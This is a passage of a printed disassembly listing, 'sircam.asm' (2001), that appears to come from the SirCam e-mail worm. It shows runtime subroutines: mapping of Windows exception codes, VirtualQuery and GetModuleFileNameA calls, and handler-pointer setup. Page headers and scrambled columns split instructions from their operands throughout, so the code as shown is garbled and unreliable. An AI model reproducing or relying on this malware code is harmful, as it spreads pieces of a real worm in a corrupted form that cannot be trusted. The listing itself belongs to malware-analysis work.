10 12:42:44 2001 256 loc_409627: ; CODE XREF: sub_409608+14\030j cmp ebx, 6 jg short loc_409641 mov ecx, ds:dword_41C1FC[ebx*8] mov dl, 1 mov eax, ds:off_406314 call sub_409450 jmp short loc_40965E ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_409641: mov mov push push mov mov mov call ; CODE XREF: sub_409608+22\030j [esp+8+var_8], esi [esp+8+var_4], 0 esp 0 ecx, ds:off_41DB08 dl, 1 eax, ds:off_406314 sub_409548 loc_40965E: sub_409608 ; CODE XREF: sub_409608+37\030j mov [eax+0Ch], esi pop ecx pop edx pop esi pop ebx retn endp ; sp = -8 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 off_409668 dd offset dword_40966C ; DATA XREF: sub_40B194+3B\031r dword_40966C dd 45540A0Eh, 70656378h, 63655274h, 8, 1 ; DATA XREF: CODE:00409668\030o dd offset off_401000 align 8 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_409688 proc near ; DATA XREF: sub_409B0C+5C\031o push ebx mov ebx, edx mov edx, eax dec edx jz short loc_40969B dec edx jz short loc_4096A2 dec edx sub edx, 16h jb short loc_4096A9 jmp short loc_4096BE ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40969B: ; CODE XREF: sub_409688+6\030j mov eax, ds:dword_41E5F4 jmp short loc_4096C3 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_4096A2: ; CODE XREF: sub_409688+9\030j mov eax, ds:dword_41E5F8 jmp short loc_4096C3 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_4096A9: lea mov mov mov call jmp ; CODE XREF: sub_409688+F\030j eax, dword_41C218[eax*8] ecx, [eax+4] eax, [eax] dl, 1 sub_409450 short loc_4096C3 sircam.asm Fri Aug 10 12:42:44 2001 257 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_4096BE: ; CODE XREF: sub_409688+11\030j call sub_409608 loc_4096C3: sub_409688 ; CODE XREF: sub_409688+18\030j ; sub_409688+1F\030j ... push jmp endp ebx sub_402F98 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ pop ebx retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; Attributes: bp-based frame sub_4096CC proc near var_20 var_1C var_18 var_14 var_10 var_C var_8 var_4 = = = = = = = = ; CODE XREF: sub_409788+3\031p dword ptr -20h dword ptr -1Ch byte ptr -18h dword ptr -14h byte ptr -10h dword ptr -0Ch byte ptr -8 dword ptr -4 push ebp mov ebp, esp add esp, 0FFFFFFE0h push ebx push esi push edi xor ebx, ebx mov [ebp+var_20], ebx mov [ebp+var_4], ebx mov edi, ecx mov esi, edx mov ebx, eax xor eax, eax push ebp push offset loc_409768 push dword ptr fs:[eax] mov fs:[eax], esp test ebx, ebx jz short loc_409701 lea eax, [ebp+var_4] mov edx, ebx call sub_403560 jmp short loc_40970E ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_409701: lea mov call ; CODE XREF: sub_4096CC+27\030j edx, [ebp+var_4] eax, ds:off_41DC0C sub_404B80 mov mov mov mov mov mov mov ; CODE XREF: sub_4096CC+33\030j eax, [ebp+var_4] [ebp+var_1C], eax [ebp+var_18], 0Bh [ebp+var_14], esi [ebp+var_10], 0Bh [ebp+var_C], edi [ebp+var_8], 0 loc_40970E: sircam.asm Fri Aug 10 12:42:44 2001 lea push push lea mov call mov mov mov call mov xor pop pop pop mov push loc_409757: sub_4096CC 258 eax, [ebp+var_1C] eax 2 edx, [ebp+var_20] eax, ds:off_41DC40 sub_404B80 ecx, [ebp+var_20] dl, 1 eax, ds:off_406A1C sub_40948C ebx, eax eax, eax edx ecx ecx fs:[eax], edx offset loc_40976F ; CODE XREF: CODE:0040976D\031j lea eax, [ebp+var_20] call sub_4034C8 lea eax, [ebp+var_4] call sub_4034C8 retn endp ; sp = -3Ch ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_409768: ; DATA XREF: sub_4096CC+1A\030o jmp loc_402F60 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ jmp short loc_409757 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40976F: ; DATA XREF: sub_4096CC+86\030o mov pop pop pop mov pop retn eax, ebx edi esi ebx esp, ebp ebp ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_409778 sub_409778 proc near mov esp, ecx mov [esp+0], edx mov ebp, [ebp+0] jmp sub_402F98 endp ; CODE XREF: sub_409788+11\031p ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; Attributes: bp-based frame sub_409788 proc near arg_0 = byte ptr push mov call lea ; DATA XREF: sub_409B0C+95\031o 8 ebp ebp, esp sub_4096CC ecx, [ebp+arg_0] sircam.asm sub_409788 Fri Aug 10 12:42:44 2001 add mov call pop retn endp 259 ecx, 4 edx, dword ptr [ebp+arg_0] sub_409778 ebp 4 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_4097A4 proc near ; DATA XREF: sub_409B0C+A0\031o var_8 var_4 = dword ptr -8 = byte ptr -4 sub_4097A4 add esp, 0FFFFFFF8h xor eax, eax mov [esp+8+var_8], eax mov [esp+8+var_4], 0Bh push esp push 0 mov ecx, ds:off_41DB20 mov dl, 1 mov eax, ds:off_406A7C call sub_409548 call sub_402F98 pop ecx pop edx retn endp ; sp = -8 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_4097D0 proc near ; CODE XREF: CODE:00409850\031p ; sub_409A30+20\031p mov eax, [eax] cmp eax, 0C0000092h jg short loc_409805 jz short loc_409834 cmp eax, 0C000008Eh jg short loc_4097F7 jz short loc_409837 sub eax, 0C0000005h jz short loc_409840 sub eax, 87h jz short loc_40982E dec eax jz short loc_40983D jmp short loc_40984C ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_4097F7: ; CODE XREF: sub_4097D0+10\030j add eax, 3FFFFF71h sub eax, 2 jb short loc_409834 jz short loc_40983A jmp short loc_40984C ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_409805: ; CODE XREF: sub_4097D0+7\030j cmp jg jz eax, 0C0000096h short loc_40981D short loc_409843 sircam.asm Fri Aug 10 12:42:44 2001 260 sub eax, 0C0000093h jz short loc_40983D dec eax jz short loc_40982B dec eax jz short loc_409831 jmp short loc_40984C ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40981D: ; CODE XREF: sub_4097D0+3A\030j sub eax, 0C00000FDh jz short loc_409849 sub eax, 3Dh jz short loc_409846 jmp short loc_40984C ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40982B: ; CODE XREF: sub_4097D0+46\030j mov al, 3 retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40982E: ; CODE XREF: sub_4097D0+20\030j mov al, 4 retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_409831: ; CODE XREF: sub_4097D0+49\030j mov al, 5 retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_409834: ; CODE XREF: sub_4097D0+9\030j ; sub_4097D0+2F\030j mov al, 6 retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_409837: ; CODE XREF: sub_4097D0+12\030j mov al, 7 retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40983A: ; CODE XREF: sub_4097D0+31\030j mov al, 8 retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40983D: ; CODE XREF: sub_4097D0+23\030j ; sub_4097D0+43\030j mov al, 9 retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_409840: ; CODE XREF: sub_4097D0+19\030j mov al, 0Bh retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_409843: ; CODE XREF: sub_4097D0+3C\030j mov al, 0Ch retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_409846: ; CODE XREF: sub_4097D0+57\030j mov al, 0Dh retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_409849: ; CODE XREF: sub_4097D0+52\030j sircam.asm Fri Aug 10 12:42:44 2001 261 mov al, 0Eh retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40984C: sub_4097D0 ; CODE XREF: sub_4097D0+25\030j ; sub_4097D0+33\030j ... mov retn endp al, 16h ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 loc_409850: ; DATA XREF: sub_409B0C+7F\031o call sub_4097D0 and eax, 0FFh mov eax, ds:dword_41C218[eax*8] retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; Attributes: bp-based frame sub_409864 proc near var_170 var_16C var_168 var_164 var_160 var_15C var_158 var_154 var_150 var_14C var_148 var_144 var_140 var_13C var_138 var_134 var_130 var_12C var_125 var_20 var_1C var_10 var_4 arg_0 = = = = = = = = = = = = = = = = = = = = = = = = ; CODE XREF: sub_409A30+54\031p dword ptr -170h dword ptr -16Ch byte ptr -168h dword ptr -164h byte ptr -160h dword ptr -15Ch byte ptr -158h dword ptr -154h dword ptr -150h dword ptr -14Ch dword ptr -148h byte ptr -144h dword ptr -140h byte ptr -13Ch dword ptr -138h byte ptr -134h dword ptr -130h byte ptr -12Ch byte ptr -125h byte ptr -20h dword ptr -1Ch dword ptr -10h dword ptr -4 dword ptr 8 push mov add push push xor mov mov mov mov mov xor push push push mov mov mov ebp ebp, esp esp, 0FFFFFE90h ebx esi eax, eax [ebp+var_170], eax [ebp+var_14C], eax [ebp+var_154], eax [ebp+var_150], eax [ebp+var_4], eax eax, eax ebp offset loc_409A1F dword ptr fs:[eax] fs:[eax], esp eax, [ebp+arg_0] ebx, [eax-4] sircam.asm Fri Aug 10 12:42:44 2001 262 cmp dword ptr [ebx+14h], 0 jnz short loc_4098B5 lea edx, [ebp+var_4] mov eax, ds:off_41DC88 call sub_404B80 jmp short loc_4098C2 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_4098B5: lea mov call ; CODE XREF: sub_409864+40\030j edx, [ebp+var_4] eax, ds:off_41DBF8 sub_404B80 loc_4098C2: ; CODE XREF: sub_409864+4F\030j mov esi, [ebx+18h] push 1Ch lea eax, [ebp+var_20] push eax mov eax, [ebx+0Ch] push eax call j_VirtualQuery_0 cmp [ebp+var_10], 1000h jnz loc_409994 push 105h lea eax, [ebp+var_125] push eax mov eax, [ebp+var_1C] push eax call j_GetModuleFileNameA_1 test eax, eax jz loc_409994 mov eax, [ebx+0Ch] mov [ebp+var_148], eax mov [ebp+var_144], 5 lea eax, [ebp+var_150] lea edx, [ebp+var_125] mov ecx, 105h call sub_4036F8 mov eax, [ebp+var_150] lea edx, [ebp+var_14C] call sub_4073EC mov eax, [ebp+var_14C] mov [ebp+var_140], eax mov [ebp+var_13C], 0Bh mov eax, [ebp+var_4] mov [ebp+var_138], eax mov [ebp+var_134], 0Bh mov [ebp+var_130], esi mov [ebp+var_12C], 5 lea eax, [ebp+var_148] push eax push 3 lea edx, [ebp+var_154] mov eax, ds:off_41DC28 call sub_404B80 mov ecx, [ebp+var_154] mov dl, 1 mov eax, ds:off_406854 call sub_40948C mov ebx, eax jmp short loc_4099EE ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_409994: ; CODE XREF: sub_409864+77\030j ; sub_409864+94\030j mov mov mov mov mov eax, [ebx+0Ch] [ebp+var_16C], eax [ebp+var_168], 5 eax, [ebp+var_4] [ebp+var_164], eax sircam.asm Fri Aug 10 12:42:44 2001 mov mov mov lea push push lea mov call mov mov mov call mov [ebp+var_160], 0Bh [ebp+var_15C], esi [ebp+var_158], 5 eax, [ebp+var_16C] eax 2 edx, [ebp+var_170] eax, ds:off_41DC50 sub_404B80 ecx, [ebp+var_170] dl, 1 eax, ds:off_406854 sub_40948C ebx, eax xor pop pop pop mov push ; CODE XREF: sub_409864+12E\030j eax, eax edx ecx ecx fs:[eax], edx offset loc_409A26 loc_4099EE: loc_4099FB: sub_409864 263 ; CODE XREF: CODE:00409A24\031j lea eax, [ebp+var_170] call sub_4034C8 lea eax, [ebp+var_154] mov edx, 3 call sub_4034EC lea eax, [ebp+var_4] call sub_4034C8 retn endp ; sp = -194h ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_409A1F: ; DATA XREF: sub_409864+2B\030o jmp loc_402F60 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ jmp short loc_4099FB ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_409A26: ; DATA XREF: sub_409864+192\030o mov eax, ebx pop esi pop ebx mov esp, ebp pop ebp retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; Attributes: bp-based frame sub_409A30 proc near var_10 var_C var_8 var_4 = = = = ; DATA XREF: sub_409B0C+8A\031o dword ptr -10h dword ptr -0Ch byte ptr -8 dword ptr -4 push mov add push xor mov mov ebp ebp, esp esp, 0FFFFFFF0h ebx edx, edx [ebp+var_10], edx [ebp+var_4], eax sircam.asm Fri Aug 10 12:42:44 2001 xor push push push mov mov call and mov add sub jb jz dec sub jnb 264 eax, eax ebp offset loc_409AEB dword ptr fs:[eax] fs:[eax], esp eax, [ebp+var_4] sub_4097D0 eax, 0FFh edx, eax edx, 0FFFFFFFDh edx, 8 short loc_409A6C short loc_409A83 edx edx, 0Ah short loc_409A8E loc_409A6C: ; CODE XREF: sub_409A30+32\030j lea eax, dword_41C218[eax*8] mov ecx, [eax+4] mov eax, [eax] mov dl, 1 call sub_409450 mov ebx, eax jmp short loc_409ABE ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_409A83: ; CODE XREF: sub_409A30+34\030j push ebp call sub_409864 pop ecx mov ebx, eax jmp short loc_409ABE ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_409A8E: mov mov mov mov lea push push lea mov call mov mov mov call mov loc_409ABE: ; CODE XREF: sub_409A30+3A\030j eax, [ebp+var_4] eax, [eax] [ebp+var_C], eax [ebp+var_8], 0 eax, [ebp+var_C] eax 0 edx, [ebp+var_10] eax, ds:off_41DAD8 sub_404B80 ecx, [ebp+var_10] dl, 1 eax, ds:off_4063C4 sub_40948C ebx, eax ; CODE XREF: sub_409A30+51\030j ; sub_409A30+5C\030j mov mov call test jz mov mov eax, ebx edx, ds:off_40636C sub_402C40 al, al short loc_409AD5 eax, [ebp+var_4] [ebx+0Ch], eax xor pop pop pop mov push ; CODE XREF: sub_409A30+9D\030j eax, eax edx ecx ecx fs:[eax], edx offset loc_409AF2 loc_409AD5: sircam.asm loc_409AE2: sub_409A30 Fri Aug 10 12:42:44 2001 265 ; CODE XREF: CODE:00409AF0\031j lea eax, [ebp+var_10] call sub_4034C8 retn endp ; sp = -24h ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_409AEB: ; DATA XREF: sub_409A30+12\030o jmp loc_402F60 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ jmp short loc_409AE2 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_409AF2: ; DATA XREF: sub_409A30+AD\030o mov eax, ebx pop ebx mov esp, ebp pop ebp retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 dword_409AFC dd 0FFF8D7E8h, 1B8FFh, 0A5E80000h, 0C3FFFF99h ; DATA XREF: sub_409B0C+67 \031o ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; Attributes: bp-based frame sub_409B0C proc near var_8 var_4 = dword ptr -8 = dword ptr -4 push mov push push xor push push push mov lea mov call mov mov mov call mov lea mov call mov mov mov call mov mov mov mov mov mov mov mov mov mov mov mov ; CODE XREF: sub_40B2D4+46\031p ebp ebp, esp 0 0 eax, eax ebp offset loc_409BCD dword ptr fs:[eax] fs:[eax], esp edx, [ebp+var_4] eax, ds:off_41DB10 sub_404B80 ecx, [ebp+var_4] dl, 1 eax, ds:off_4062B8 sub_409450 ds:dword_41E5F4, eax edx, [ebp+var_8] eax, ds:off_41DBDC sub_404B80 ecx, [ebp+var_8] dl, 1 eax, ds:off_406740 sub_409450 ds:dword_41E5F8, eax eax, ds:off_41DAE0 dword ptr [eax], offset eax, ds:off_41DB54 dword ptr [eax], offset eax, ds:off_41DB04 edx, ds:off_4061F4 [eax], edx eax, ds:off_41DB48 dword ptr [eax], offset eax, ds:off_41DB58 dword ptr [eax], offset sub_409688 dword_409AFC loc_409850 sub_409A30 sircam.asm Fri Aug 10 12:42:44 2001 mov mov mov mov xor pop pop pop mov push eax, ds:off_41DBF0 dword ptr [eax], offset sub_409788 eax, ds:off_41DAD4 dword ptr [eax], offset sub_4097A4 eax, 